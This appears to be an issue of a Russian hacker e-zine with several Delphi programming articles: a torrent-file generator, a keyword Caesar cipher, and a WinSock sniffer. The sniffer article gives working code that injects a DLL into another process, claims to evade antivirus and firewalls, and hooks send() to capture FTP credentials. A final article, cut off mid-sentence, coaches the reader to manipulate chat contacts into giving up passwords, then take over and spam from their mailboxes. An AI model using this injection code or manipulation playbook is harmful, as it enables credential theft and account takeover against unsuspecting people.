Процедура GetPieces() принимает всего один параметр – размер сегмента файла. Получив информацию о размере сегмента, в процедуре запускается цикл в ходе которого перебираются все файлы из TListView и для каждого из них вычисляется SHA1 хэш. Полученные данные записываются в динамический массив _pieces типа TPieces (структура, которую мы определили в самом начале). Для вычисления хэш суммы я воспользовался объектом TSha1 из модуля MessageDigest от Dave Shapiro. Работать с алгоритмами SHA1, Md5 и др. с помощью этого модуля одно удовольствие. Все, что требуется для получения хеша – воспользоваться методом Transform(), после чего в свойствах hashValue и hashValueBytes, будет находиться рассчитанная хэш сумма. Больше в процедуре ничего интересного нет, поэтому перейдем сразу к завершающему шагу – наполним кнопку SaveTorrentBtn жизнью. Создай для нее обработчик события OnClick и напиши в нем: var _NewFile:TFileStream; begin If (SaveDialog1.Execute) Then begin _NewFile := TFileStream.Create(SaveDialog1.FileName+'.torrent', fmCreate); if (ListView1.Items.Count = 1) Then CreateTorrent(_NewFile, false) else CreateTorrent(_NewFile, true); end;

В этом коде я инициализирую переменную типа файловый поток. Вызывая метод «Create», я передаю два параметра – 1. имя файла (именно файл с таким именем мы будем создать; 2 – режим доступа к файлу. Поскольку нам нужно создать новый файл, то нам нужно указать fmCreate. Тестирование На сегодня можно считать урок программирования оконченным, а значит нужно протестировать написанное нами творение. Скомпилируй и запусти наш пример. Попробуй заполнить все TEdit, добавить файлы в ListView и сохранить собранный проект в виде торрента. Если у тебя все прошло без ошибок, то не начинай преждевременно радоваться, т.к основное тестирование только начинается. Скачай какой-нибудь torrent клиент (например, uTorrent) и попробуй им отрыть получившийся у тебя файл. Если все прошло тип топ, то uTorrent с радостью пропарсит подсунутый ему файлик и предложит начать закачку. Но если в место закачки, uTorrent ругнется и сообщит ошибку, то значит, ты где-то закосячил и тебе придется просидеть не мало времени играясь с отладчиком. Код чтения торрент файла, я приводить не стал, т.к. статья не резиновая и растянуть ее нельзя. Зато на диске, ты найдешь полный работоспособный исходник. В чтении файла нет ничего сложно. Если ты смог разобраться с созданием торрент файла, то с чтением проблем возникнуть не должно.


Заключение Очередной урок нестандартного программирования на Delphi подошел к концу. Уже не первый раз ты убеждаешься в том, что все нервные крики в сторону Delphi – это просто бред и комплексы фанатов С++. На Delphi можно написать практически любую программу, будь то компактная хакерская тулза или продвинутая программа для работы с БД. Сегодня мне остается только попрощаться с тобой и пожелать удачи в кодинге. Все свои вопросы ты можешь задать мне по мылу – буду рад пообщаться. До встречи!

Written by Антонов Игорь E-mail: antonov.igor.khv@gmail.com WWW: http://vr-online.ru


Система Цезаря с ключевым словом Привет тебе, читатель! В прошлый раз нами был намечен курс на изучение криптографических алгоритмов. Были даны определения главных терминов, рассмотрены их особенности. В частности, было отмечено, что такое шифрование и как оно происходит, определены классы криптосистем, а также были перечислены виды шифров традиционных криптосистем. И начато изучение было с шифров простой замены, а реализовали мы одну из его разновидностей - Полибианский квадрат. В этой статье речь пойдёт о другой разновидности шифров замены – Система Цезаря с ключевым словом. Итак, приступим-с… От введения к теории Система шифрования Цезаря с ключевым словом является одноалфавитной системой подстановки (это когда каждый символ исходного текста заменяется символами того же алфавита одинаково на всем протяжении текста). Особенностью этой системы является использование ключевого слова для смещения и изменения порядка символов в алфавите подстановки. Покажу суть на небольшом простом примере. Выберем некоторое число k в диапазоне от 0 до n-1 (0 <= k < n-1), и слово или короткую фразу в качестве ключевого слова. Желательно (но не обязательно), чтобы все буквы ключевого слова были различными. Например, я, выбрал слово VRTEAM в качестве ключевого, и число k = 5. Как мы поступаем дальше… Ключевое слово записывается под буквами нашего алфавита, начиная с буквы, числовой код (порядковый номер) которой совпадает с выбранным числом k: 5 (выбранное число k) ABCDEFGHIJKLMNOPQRSTUVWXУZ (наш алфавит) VRTEAM (ключевое слово) Оставшиеся буквы алфавита подстановки записываются после ключевого слова (в той же строке) в алфавитном порядке, т.е.: ABCDEFGHIJKLMNOPQRSTUVWX WXYZVRTEAMBCDFGHIJKLNOPQSY (здесь мы дописали алфавит, красным выделено ключевое слово) Теперь мы имеем подстановку для каждой буквы произвольного сообщения, которое мы желаем зашифровать с учётом ключевого слова. Например, исходное сообщение GIVE ME MONEY при указанной паре ключевое словосмещение шифруется так: TAOV DV DGFVS. Следует отметить ещё раз, что требование о различии всех букв ключевого слова не обязательно. Можно просто записать ключевое слово (или фразу) без повторения одинаковых букв. Количество ключей в системе Цезаря с ключевым словом равно n!. Думаю, теперь суть метода понятна.


Среди достоинств системы Цезаря с ключевым словом я бы отметил то, что количество возможных ключевых слов практически неисчерпаемо. Недостатком этой системы является возможность взлома шифртекста (зашифрованного исходного сообщения) на основе анализа частот появления букв (криптоатака по частоте букв) (например с помощью полезной для таких целей программы Corvus Freq (http://corvus.h12.ru/winfiles/freq.zip)). Вот и всё, что хотелось бы изложить из теории… Время кодить Запускаем Вашу любимую среду разработки. Я буду пользоваться CodeGear RAD Studio 2007 и языком Delphi. На форме нам понадобится один StringGrig (StringGrid1) для нашего алфавита, TEdit (Name - edtSrc) для Вашего исходного сообщения, TEdit (Name - edtDest) для зашифрованного сообщения , компонент TMemo (можно и Edit) для расшифрованного сообщения (Проверка), TSpinEdit для установки величины смещения, текстовое поле для ключевого слова (с именем Edit1), кнопку (Name - btnSet) для расстановки нового алфавита, а также две кнопки для реализации операций шифрования-расшифрования. У меня получилась следующая форма (рисунок 1), у Вас может быть другая.

Рисунок 1 (Форма будущей программы) Суть алгоритма была описана выше в пункте «От введения к теории …» Всю работу разрабатываемой программы разделим условно на 4 этапа: • заполнение исходного алфавита; • расстановка символов нового алфавита • зашифровка; • расшифровка. При создании главной формы (а она у нас одна ;) ) нашей программы будет происходить заполнение исходного алфавита. В качестве доступных символов я взял прописные и строчные буквы английского алфавита (ну нравится мне этот язык), цифры от 0 до 9, ну и для разнообразия символы "-", "," "." и " " (пробел). Вот так всё это выглядит программно. Заполнение происходит по событию главной формы OnCreate: { Заполнение шапки таблицы } for i := 1 to StringGrid1.ColCount-1 do StringGrid1.Cells[i,0] := IntToStr(i); { Заполнение нашего алфавита }


{ Английские печатные буквы } for i := 1 to 26 do StringGrid1.Cells[i,1] := Chr(96+i); { Английские прописные буквы } for j := 1 to 26 do StringGrid1.Cells[j+26,1] := Chr(64+j); { Символы "-", "," "." и " "} StringGrid1.Cells[53,1] := Chr(45); StringGrid1.Cells[54,1] := Chr(44); StringGrid1.Cells[55,1] := Chr(46); StringGrid1.Cells[56,1] := Chr(32); { Цифры от 0 до 9 } for k := 1 to 10 do StringGrid1.Cells[k+56,1] := Chr(47+k); Нужный мне символ я получаю по его коду при помощи функции Chr(). Остальное здесь в принципе понятно по комментариям. Вы в качестве дополнительного задания для расширения возможностей программы можете добавить русский алфавит и любые другие спецсимволы. Это кстати будут не сложно. Я же ограничился теми символами, какие описал чуть выше. Следующий этап работы программы состоит в расстановке символов нового алфавита (вторая строка сетки под строкой исходного алфавита) в соответствии с числом k (смещение) и ключевым словом. Здесь “работает” следующий код: { Обнуление нового алфавита } for i := 1 to StringGrid1.ColCount-1 do StringGrid1.Cells[i, 2] := ''; { Смещение - число k } k := SpinEdit1.Value; { Занесение длины ключевого слова } l := length(Edit1.Text); { Запись ключ. слова под буквами нашего алфавита } for i := 0 to l - 1 do StringGrid1.Cells[i+k, 2] := Edit1.Text[i+1]; { Расстановка оставшихся букв алфавита подстановки порядке) } c := 0; m := 0;

(после ключ. слова в алфавитном

{ Непосредственная расстановка алфавита } for i := 1 to StringGrid1.ColCount - 1 do { по всем буквам алфавита} for j := 0 to l - 1 do { по всем буквам ключевого слова } begin { Если буква ключ. слова есть в исходном алфавите, } if Edit1.Text[j+1] = StringGrid1.Cells[i,1] then begin { то увеличиваем счётчик } c := c+1; break; end else if j = l-1 then { дошли до последней буквы ключ. слова }


begin if i+k+(l-1)-c <= StringGrid1.ColCount-1 then StringGrid1.Cells[i+k+(l-1)-c,2] := StringGrid1.Cells[i,1] else begin c := 0; m := m+1; StringGrid1.Cells[m-c,2] := StringGrid1.Cells[i,1]; end; end; end;

Представленный код сложности в понимании не представляет. Все используемые здесь переменные целочисленного типа (integer). По нажатию кнопки «Зашифровать >> » выполняется следующий участок кода: edtDest.Clear(); { очищаем поле } for i := 0 to Length(edtSrc.Text) do { шифруем все символы исходного сообщения } begin for j := 1 to StringGrid1.ColCount - 1 do { используем все символы алфавита подстановки } begin { Если очередной символ исходного сообщения присутствует в исходном алфавите подстановки, то } if edtSrc.Text[i] = StringGrid1.Cells[j,1] then { в выходной шифртекст записываем символ нового алфавита, стоящий в той же позиции (номер столбца), что и символ исходного алфавита подстановки } edtDest.Text := edtDest.Text + StringGrid1.Cells[j,2]; end; end;

Здесь вообще кода минимум и по комментариям должно быть понятно, что происходит. Скажу лишь, что мы проверяем последовательно символы нашего исходного текста, который мы желаем зашифровать, с символами исходного алфавита подстановки (это который прописан в первой строке сетки вверху окна программы). И если они совпадают (сравниваемые символы), то происходит замена текущего символа нашего исходного сообщения символом нового алфавита (вторая строка сетки вверху окна программы), стоящим в той же позиции (тот же столбец), что и символ исходного алфавита. Выходной шифртекст выводится в текстовое поле справа окна:

Рисунок 2 (Полученный шифртекст (закодированное сообщение)) Процесс расшифровки обратен процессу зашифровки и выполняется по нажатию кнопки « << Расшифровать»: Memo1.Lines.Clear(); { очищаем поле } for i := 0 to Length(edtDest.Text) do { расшифровываем все символы закодированного сообщения }


begin for j := 1 to StringGrid1.ColCount - 1 do { используем все символы алфавита подстановки } begin { Если очередной символ зашифрованного сообщения присутствует в новом алфавите, то } if edtDest.Text[i] = StringGrid1.Cells[j,2] then { в выходной текст записываем символ исходного алфавита подстановки, стоящий в той же позиции (номер столбца), что и символ нового алфавита } Memo1.Lines.Text := Memo1.Lines.Text + StringGrid1.Cells[j,1]; end; end;

То есть теперь сравнение каждого очередного символа исходного сообщения происходит уже с новым алфавитом, и заменяется он уже соответствующим символом (стоящим в том же столбце) исходного подстановочного алфавита. Проверочный результат для процедуры расшифровки отображается в поле в левом нижнем углу главного окна программы:

Рисунок 3 (Проверка правильности работы алгоритма) Пример работы программы представлен на рисунке ниже:

Рисунок 4 (Пример работы программы) PS. Обращаю внимание, что представленные в моих статьях программы, – это всего лишь примеры и не более. То есть в них может отсутствовать оптимальность выполнения алгоритмов, некоторые вещи могут быть выполнены кривовато и т.д. Я всего лишь описываю суть алгоритма, наиболее важную в данный момент. Хотя об оптимизации и использовании приёмов программирования забывать не нужно. Вот в принципе и всё. Если что-то не понятно, то вы всегда можете обратиться к коду проекта, находящегося в соответствующей папке. Аутро Вот и подошло к концу очередное описание. Реализован ещё один алгоритм. Он кстати уже поинтереснее первого ;). А следующие будут еще интересней J. Постепенно


приближается очередной год обучения, а также работа над моим дипломом J. Но я обязательно буду находить время и писать очередные статьи (возможно и по другим тематикам). Так что всё ещё впереди. Увидимся в следующей статье!

Written by Plehanov Nikita aka egoiste E-Mail: egoiste@xaker.ru ICQ: 448-247-406


Функциональная шпиономания В одном из номеров нашего журнала ][акер, в рубрике FAQ был задан вопрос: «Как можно перехватить данные, отправляемые сетевым приложением». В ответе Step, порекомендовал использовать функцию WinSock hook из пакета сетевых утилит - IP Tools. Возможности WinSock hooker мне настолько понравились, что я решил написать свой вариант подобной программы. И в этой статье, я хочу поделиться с тобой опытом, полученным при разработки, своего варианта WinSock hook’ера. Теория Взаимодействие любой программы созданный для платформы Windows осуществляется посредством вызова Win API функций. Все API функции определены в динамических библиотеках. Все программы, по мере необходимости могут обращаться к библиотекам dll, при возникновении той или иной необходимости. Сразу возникает вопрос: «Откуда приложение знает, в какой библиотеке объявлена нужная ему функция?». Ответ достаточно прост - в любом PE файле есть область, так называемая - таблица импорта. В ней перечислена информация о всех импортированных функциях, необходимых для корректной работы программы. Загрузчик PE считывает эту инфу и подгружает все необходимые библиотеки в адресное пространство процесса программы. Например, для того чтобы узнать список всех DLL, подгруженных в адресное пространство процесса, можно воспользоваться утилитой от Марка Руссиновича «Process Explorer». Взгляни на рисунок 1, на нем отображен список dll, присутствующих в адресном пространстве запущенного процесса Opera.exe. Обрати внимание на выделенную, в нижней части окна «Process Explorer» библиотеку dll с именем WS2_32.dll. В ней определен весь набор сетевых функций WinSock API второй версии. Одну из функций из этой библиотеке, нам предстоит сегодня научиться перехватывать. В перехвате API функций нет ничего тривиального. Все что требуется от программиста, так это заставить процесс жертвы обращаться не к системной функции, а к нашей – подставной, а потом нам уже остается только командовать и властвовать. Перехватить API функции можно несколькими способами. Наиболее популярными являются: 1. Редактирование таблицы импорта. Впервые об этом способе я узнал из книги Д. Рихтера «Программирование приложений для Windows». Наверное, этот способ является самым известным и уж точно самым простым в реализации. Суть данного метода заключается в следующем. В таблице импорта PE файлов содержатся адреса всех импортируемых функций. Для перехвата нам необходимо пробежаться по этой табличке, найти адрес функции, которую мы будем перехватывать, и поменять его на адрес определенной нами подставной функции. Совершив эту нехитрую манипуляцию, мы сможем обрабатывать все вызовы перехватываемой функции. Несмотря на простоту реализации данного способа перехвата, нас подстерегают несколько досадных огорчений. Самым главным, из них является тот факт, что не все функции могут вызываться через таблицу импорта.


Рисунок 1 (Все DLL как на ладони)

Рисунок 2 (Смотрим таблицу импорта) 2. Модификацией кода системной функции. Для реализации этого способа необходимо «пропатчить» перехватываемую функцию, а именно записать в самом начале функции переход на подставную функцию. После этого, все обращения к функции оригиналу будут


попадать на функцию подставу. Тут главное не забыть, о необходимости сохранить значение перезаписываемого участка памяти, иначе можно забыть о корректной работе приложения жертвы. Опять же, у способа есть как плюсы, так и минусы. В качестве главного плюса можно выделить возможность перехвата абсолютно любых функций, т.е. не только тех, которые определены в таблице импорта. Среди минусов можно выделить вероятность появления ошибок в многопоточных приложениях. Хотя, полноценным минусом его назвать нельзя, т.к. при наличии головы на плечах он достаточно легко обходится. В качестве способа лечения подходит банальная остановка всех потоков приложения и их запуск после установки перехвата. Перехват API удобней всего осуществлять в контексте процесса «жертвы», поэтому необходимо внедрить свой код в удаленный процесс. Существует несколько устаканившихся вариантов вторжения в чужие процессы: 1. Внедрение образа своего процесса. Способ позволяет целиком внедрить свое приложение в чужое адресное пространство. Удобство такого способа в том, что можно обойтись без всяких лишних dll, которые так рекомендует использовать для перехвата Д. Рихтер. Этот способ повышает скрытность. Даже если пользователь воспользуется утилитами вроде ProcessExplorer, то он не увидит там ничего необычного. 2. Внедрение подготовленной Dll. Этот вариант можно назвать классическим. Для его реализации требуется создать DLL, в которой будет организован один из способов перехвата, и приложение, которое будет инжектировать ее в нужный процесс. Один из данного способа я уже озвучил. Поэтому о минусах больше не буду, перейду сразу к плюсам. Главный плюс, в возможности прописывание dll в реестре, после чего она будет автоматически загружаться, т.е. исключается необходимость в написании программы для внедрения dll. Дочитав до этого места, у многих может сложиться впечатление, что перехват дело объемное и достаточно сложное. В чем-то они будут правы. Действительно, реализовать и метод внедрения и перехвата задачи далеко не самые простые, несмотря на это, Delphi программистам очень сильно повезло. С легкостью организовать перехват функций, внедриться в чужой процесс поможет сделать модуль advHookApi, написанный гениальным программистом Mr-Rem. Модуль спроектирован качественно, все функции удобно описаны, код оформлен красиво. Единственное разочарование в том, что сегодня уже нельзя выразить респект автору. Этот талантливый человек мертв. Очень грустно, что гениальных людей смерть так рано забирает. Хакерский модуль Итак, давай посмотрим, какими возможностями может похвастаться данный модуль. 1. Внедрение кода в удаленный процесс. В теоретической части статьи я рассказывал тебе о нескольких вариантах внедрения своего кода в адресное пространство чужого процесса. В advHookAPI реализованы следующие методы: •

Внедрение Dll в чужой процесс. Метод реализуется с помощью функции InjectDll(), которая описана следующим образом:

function InjectDll(Process: dword; ModulePath: PChar): boolean;


В качестве параметров нужно передать дескриптор процесса, в который будем внедрять dll и путь к самой библиотеки. В случае успешного внедрения результат будет true. •

Скрытое внедрение Dll. Функция InjectDllEx() внедряет dll и делает определенные настройки над образом Dll в памяти. После таких настроек, многие программы (антивирусы, персональные firewall) начинают нервно курить и не замечать черных дел твоей программы. Внедрение Exe файла. Внедрение произвольного exe файла осуществляется при помощи функции InjectExe().

function InjectExe(Process: dword; Data: pointer): boolean;

Для работы функции требуется передать два параметра: 1. handle (дескриптор) процесса, в который будем внедряться. 2. Адрес образа файла в текущем процессе. •

Инъекция образа текущего процесса. Функция InjectThisExe() будет полезна, когда не хочется или нет возможности юзать библиотеки dll. Описание функции и параметров для функции приводить не стану, т.к. параметры стандартные и ничем не отличаются от описания предыдущей.

Внедрение в процесс процедуры.

function InjectThread(Process: dword; Thread: pointer; Info: pointer; InfoLen: dword; Results: boolean): THandle;

У функции пять входных параметров: 1. Process - дескриптор процесса. 2. Thread - указатель на процедуры, которую будем внедрять. 3. Info - адрес данных для процедуры. 4. InfoLen – размер передаваемых данных. 5. Results – необходимость возврата результата. Если true, то функция вернет переданные данные. 3. Перехват Windows API. В модуле определено две функции для установки перехвата: function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;

Функция устанавливает перехват нужной функции. В качестве параметров просит: 1. TargetProc – адрес перехватываемой функции. 2. NewProc – адрес функции, которая будет вызываться вместо перехватываемой. 3. OldProc – переменная, в которой будет сохранен адрес моста к оригинальной функции. Адрес пригодится, когда потребуется остановить перехват и вернуть все на место.


Рисунок 3 (Модуль, написанный мастером) Для перехвата функций экспортируемых из DLL в текущем процессе предусмотрена отдельная функция: function HookProc(lpModuleName, lpProcName: PChar; NewProc: pointer; var OldProc: pointer): boolean; Входных параметров четыре: 1. Имя модуля (dll), 2. Имя функции. Будь внимателен, регистр в указании имени функции играет роль. 3. Указатель на функцию замену, 4. Адрес к оригинальной функции. Перехватывать функцию без передышки не имеет смысла, поэтому рано или поздно нужно уметь останавливать процесс перехвата. Для этого, в AdvApiHook реализована функция UnhookCode(), которая в качестве единственного параметра принимает указатель на адрес моста к оригинальной функции. 3. Полезные функции. Помимо необходимых функций для перехвата API или внедрения кода, в модуле есть несколько функций, которые обязательно могут пригодиться системным программистам. Отключение защиты системных файлов. В ОС Windows базирующихся на ядре NT, нельзя взять так просто и изменить системных файлы. Защита System File Protection не позволяет трогать важные файлы. Для решения этой задачи в модуле определена функция DisableSFC(). Передавать параметры ей не требуется. В качестве результата возвращает булевское значение. Завершение процесса через режим отладки. Наверняка ты сталкивался с процессами, которые тяжело «убить». Стандартные функции вроде TerminateProceess() не помогают. Для решения этой проблемы принято использовать так называемые отладочные функции. Сначала процесс переводится в отладочный режим, а потом уничтожается. Таким образом, можно завершить практически любой «вредный» процесс. Автор AdvApiHook реализовал простую надстройку для завершения процесса через отладочный режим. function DebugKillProcess(ProcessId: dword):Boolean;


В качестве единственного параметра, функции нужно передать pid процесса. В случае успешного завершения процесса функция вернет true. Колбасим WinSock Hooker Довольно теории, пора переходить к практике. Сейчас я расскажу тебе, как написать приложение для перехвата функции send(). Создавай в Delphi новый проект и нарисуй форму похожую на мою. Как закончишь творческую часть, вставляй наш DVD диск, копируй с него модуль AdvApiHook и немедленно подключай к своему проекту.

Рисунок 4 (Форма нашего перехватчика) Первое, что нам необходимо сделать – научить нашу программу получать список всех запущенных процессов и их дескрипторов. Все эти данные будут отображаться в компоненте ListView. Именно из этого списка мы будем выбирать процесс жертву. Для получения списка текущих процессов, существует несколько способов. Рассмотрим наиболее простой из них – воспользоваться модулем tlHelp32, входящим в стандартную поставку Delphi. Для получения процессов я завел отдельную процедуру – GetAllProcess(). Ее код ты увидишь, если посмотришь на листинг 1. Листинг №1 var _SnapList : THandle; _ProcEntry : TProcessEntry32;


begin If NOT (EnableDebugPrivilege()) Then begin reLog.SelAttributes.Color := clMaroon; reLog.Lines.Add('Не удалось получить привилегии отладчика!'); End; lvProcessList.Items.Clear; _ProcEntry.dwSize := SizeOf(TProcessEntry32); _SnapList := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0); If (Process32First(_SnapList, _ProcEntry)) Then begin Repeat with lvProcessList.Items.Add Do begin Caption :=IntToStr(_ProcEntry.th32ProcessID); SubItems.Add(ExtractFileName(_ProcEntry.szExeFile)); end; Until not (Process32Next(_SnapList, _ProcEntry)); end; CloseHandle(_SnapList); End;

В самом начале этой процедуры я вызываю функцию EnableDebugPrivilige(). Функция является самописной и ее вид ты можешь посмотреть открыв, исходники с диска. Я лишь только скажу, что она требуется для получения отладочных привилегий. Получив привилегии данного типа, появляется возможность получать handle даже у системных процессов. Если функция вернулся false, то я просто сообщаю об этом в лог и продолжаю выполнение процедуры. Получение списка процессов сводится к нескольким шагам. На самом первом необходимо воспользоваться API функцией CreateToolHelp32SnapShot(). Эта функция получает снимок определенных в первом параметре объектов. Я указал константу TH32CS_SNAPPROCESS, которая подразумевает получения снимка одних лишь процессов, т.к. для сегодняшнего примера этого вполне достаточно. Помимо процессов ты можешь получить: TH32CS_SNAPTHREAD – снимок потоков. TH32CS_SNAPMODULE32 – список загруженных модулей. TH32CS_SNAPALL – включает в снимок все процессы, модули, потоки. Если функция CreateToolHelp32SnapShot() выполнилась успешно, то значит нужно пробежаться по списку полученных объектов и вывести их в ListView. Для «пробежки» я использую функции Process32First() и Process32Next(). Параметры у обоих функций одинаковый: 1. Снимок объектов, который был получен в результате CreateToolHelp32SnapShot(). 2. Структура типа TProcessEntry32, в которую будет записана информация о каждом найденном объект. После выполнения Process32First() в переменной, которую мы указывали во втором параметре, будет информация о первом процессе из снимка процессов. Для перехода к следующему процессу вызывается функция Process32Next(). Итак, список процессов у нас есть. Повесь вызов GetAllProcess() на событие OnCreate формы и запусти программу. Если ты не допустил в листинге ошибок, то после запуска ListView должен заполниться списком процессов.


Рисунок 4 (Первый тест) Приемы самбо Теперь, когда у нас есть список процессов, можно приступать к реализации самой главной части – перехвата функций. Перехватывать функции, удобнее всего из библиотеки dll. Принцип получается таковым: внедряем библиотеку в чужой процесс, методом сплайсинга делаем перехват. Сейчас все кажется сложным и запутанным, но на самом деле все намного проще. Создавай в Delphi новый проект типа DLL и потихоньку перекатывай в него содержимое листинга 2. Листинг №2: Код DLL uses Windows, advApiHook, Messages, SysUtils; type TSocket=integer; TSendProcedure=function (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var _pOldSend: TSendProcedure; _hinst, _h:integer; procedure SendData(data:string; funcType:integer; Buff:pointer; len:integer);


var d:TCopyDataStruct; begin case funcType of 10: begin d.lpData := Buff; d.cbData := len; d.dwData := 10; end; 30: begin d.lpData := pchar(data); d.cbData := length(data); d.dwData := 30; end; end; SendMessage(_h, WM_COPYDATA, 0, LongInt(@d)); End;

function xSend(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; begin SendData('', 10, addr(string(buf)), len); result:=_pOldSend(s,buf,len,flags); end; procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin SendData('Библиотека загружена. Начинается подготовка к перехвату...', 30, nil, 0); _hinst:=GetModuleHandle(nil); StopThreads; HookProc('WS2_32.dll','send',@xSend,@_pOldSend); SendData('Подмена функций завершилась успехом!', 30, nil, 0); RunThreads; end; DLL_PROCESS_DETACH: begin SendData('Снимаем перехват...', 30, nil, 0); UnhookCode(@_pOldsend); end; end; end; begin _h:=findwindow(nil,'WinSock Sniffer'); if (_h = 0) then


begin MessageBox(0, 'Не найдено окно клиентской части программы!', 'Ошибка!', 0); ExitThread(0); end; DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end. Рассматривать листинг удобнее всего с процедуры DLLEntryPoint. Именно в ней происходит реакция на события связанные с DLL (загрузка/выгрузка библиотеки). Во время загрузки библиотеки возникает событие DLL_PROCESS_ATTACH. Для нас это знак для установки перехвата. Перед тем как установить перехват я отправляю клиенту (основному приложению) информацию о текущей ситуации. В своем примере я передавал целые строки, но на практике же, лучше отправлять коды событий/ошибок, определить которые можно заранее. Процесс передачи инфы из DLL в основную программу осуществляется с помощью самописной функции SendData(). В теоретической части статьи я описывал минусы перехвата методом сплайсинга. Как ты помнишь, они заключались в потоках. Решением данной проблемы было также озвучено – временная остановка всех потоков. Для остановки потоков чужого процесса, в модуле AdvAPIHook есть функция StopThreads(). Параметров она не требует. Остановив потоки, можно устанавливать перехват. Для этого я использую функцию HookProc(). В качестве параметров я передаю ей: 1. Имя библиотеки, в которой объявлена перехватываемая функция. Поскольку в примере меня интересовала лишь функция send(), то я указал W32_32.dll, т.к. именно в этой библиотеки определены все функции второй версии WinSock API. 2. Название функции. В своем примере я указал «send». Это самая распространенная функция для отправки данных по сети, ее используют практически все приложения. Обрати внимание на регистр, используемый в написании имени функции. Имя функции полностью состоит из маленьких букв. Не учитывая этот факт, ты претендуешь, на отладку таинственных ошибок «AccessViolition». 3. Указатель на функцию подставы. В качестве функции подставы, в моей библиотеке определена функция xSend(). 4. Указатель на переменную, для сохранения моста к оригинальной функции. Я указываю здесь _pOldSend. После выполнения HookProc(), в текущем процессе, вместо функции send() будет вызывать xsend(). Целью статьи было показать, как можно перехватывать данные, передаваемые каким-либо сетевым приложением, поэтому я в подставной функции я просто передаю буфер с данными. Таким образом, мы получаем то, что требуется нам, а приложение-жертва ни о чем, не догадываясь, продолжает выполнять свою работу. Установив перехват, нужно запустить остановленные ранние потоки. Для восстановления работы потоков я использую функции RunThreads(), которой также не требуются параметры. Тестируем


Можно считать, что простейший пример перехвата сетевых функций готов. Точнее реализован процесс перехвата одной лишь функции send(). Перехват остальных ты сможешь реализовать самостоятельно, тем более что принцип будет полностью таким же. Перед тем как мы начнем тестировать, откомпилируй библиотеку и вернись к нашему основному проекту. Создай обработчик события OnClick() для кнопки, по нажатию которой мы будем внедрять библиотеку и перепиши в него код из листинга 3. Я не буду расписывать этот код целиком, т.к. в нем нет ничего сложного. Все что в нем происходит – это получение handle процесса по его pid и внедрением созданной нами библиотеки с помощью функции InjectDll(), описание которой я уже приводил. Листинг № 3: Аатачимся _h:= OpenProcess(PROCESS_ALL_ACCESS, false, StrToInt(lvProcessList.Selected.Caption)); _dllPath := ExtractFilePath(ParamStr(0))+'test.dll'; InjectDll(_h, pchar(_dllPath));

В качестве теста я решил перехватить данные, которые отправляет всем известный TotalCommander при соединении с FTP сервером. Внедрив нашу хакерскую библиотеку в процесс totalcmd.exe и запустив в Total Commander’е процесс соединения с ftp сервером, лог начал заполнятся командами протокола FTP. Поскольку протокол FTP не является безопасным, то все важные данные, передаваемые серверу, были успешно перехвачены. Результат ты можешь увидеть на рисунке 4.

Рисунок 6 (Программа в действии) Заключение


Простейший пример для перехвата сетевых функций готов. В нем я показал перехват только функции send(). Тем немее, сетевой набор WinSock API содержит и другие функции для отправки данных, а значит, у тебя есть полигон для новых испытаний. Не ленись ставить различные эксперименты. Только путем проб и ошибок можно решить любую задачу. Если у тебя возникли вопросы или предложения, то милости прошу, я всегда открыт для общения. Пока!

Written by Антонов Игорь E-Mail: antonov.igor.khv@gmail.com WWW: http://vr-online.ru


Security


Проникая в моск Давай попробуем поговорить о социальном инжиниринге. Как, наверно, ты уже знаешь, это способ взлома. Т.е. способ получения информации, как правило не законный. При соц. инже человек, сам об этом не подозревая, отдаёт информацию взломщику или указывает на ключ к этой информации (фактически это взлом человека, который в дальнейшем отдаст информацию или покажет, как это сделать). Это более тонкий способ взлома, но тем не менее очень эффективный и опасный. Опасный в том плане, что через соц. инж. можно получить гораздо больше инфы за меньший срок. Нужно только наладить контакт. Вот с этим уже сложнее - нужно войти в доверие, показать человеку, что он может тебе доверять. Тут вступает в дело психология. Вообще, в компьютерном мире психология ассоциируется с социальной инжинерией. Но обо всём попорядку... Давай рассмотрим пару примеров. Самый простой : познакомился ты с кем-нибудь в асе или в МайлАгенте (он щас набирает популярность, поэтому не могу оставить его без внимания). Сначала просто общаешься, втираешься в доверие. Что-то спрашиваешь. Лучше прикинуться ламером, так будет безопаснее - тебя не заподозрят, и легче будет выудить информацию. Потом просто начинаешь собирать инфомацию : возраст, интересы, знак задиака, размер трусов, вообщем всё. Зная интересы, ты более глубоко погружаешься в общение со своей жертвой. По интересам уже можно предположить, каким будет пароль к ящику. Можно попробовать дату рождения, имя в разных вариациях (транслит, не правильный английский и т.д.). Это, конечно, вряд ли приведёт к успеху. Но проверяя всякие пасы, ты узнаешь секретный вопрос к ящику. И как-нибудь просто беседуя в асе, ты невзначай спросишь : "А как зовут твою собаку?" или "Какое блюдо ты больше всего любишь?" Естественно, надо подобраться к этому вопросу невзначай, заведя разговор на подобную тему (о выставке домашних животных или о ресторанах, например). В принципе, взлом уже может получиться. Но этот пример проканывает очень редко, но всё-таки проканывает. Вот ещё пример: так сказать случайный взлом. Наверно, ты знаешь проект Ответы@Майл. Дак вот, имеяя там высокую репутацию, ты будешь востребован у задающих вопросы. Кто знает, вдруг тебе зададут вопрос такого плана : "Не могу удалить контакты с МайлАгента..." (лично мне довелось отвечать на такой вопрос =) ). Ты, проявляя интерес к вопрошающему (огромным плюсом будет, если вопрошающий будет противоположного пола), начинаешь разбираться в проблеме. В разговоре, понимая, что аппонент ламер, стоит использовать больше терминов, загоняя человека в тупик. После безрезультатных попыток устранения неполадки, ты предлогаешь, сказать тебе пасс от Агента, якобы, чтобы попробовать самому. Это, конечно, совсем нагло, но находятся и такие люди, которые с радостью расскажут тебе пароль, лишь бы ты им помог. Здесь многое зависит и от жертвы и от того, как ты себя поведёшь. Сможешь ли ты убедить жертву в том, что с этой задачей ты справишься лучше и быстрее, что у тебя нет надобности красть мыло и прочее... Но при удачных стечениях обстоятельств (если пасс от ящика и Агента у тебя), не стоит сразу менять пароль и радоваться победе. Это сразу выдаст тебя. Стоит исправить проблему пользователя, объяснив ему причину сбоя (необязательно правильную). Отложить его пасс куда-нибудь в укромное место. И лишь через неделькудве (не вступая на протяжении всего этого времени в контакт с пользователем, создовая вид безразличия) попробовать войти в его почтовый ящик. Если всё получится, то можно смело менять пароль на свой и использовать ящик для своих нужд, например, для спама =) Если ты думаешь, что это совсем чудо, то ты глубоко 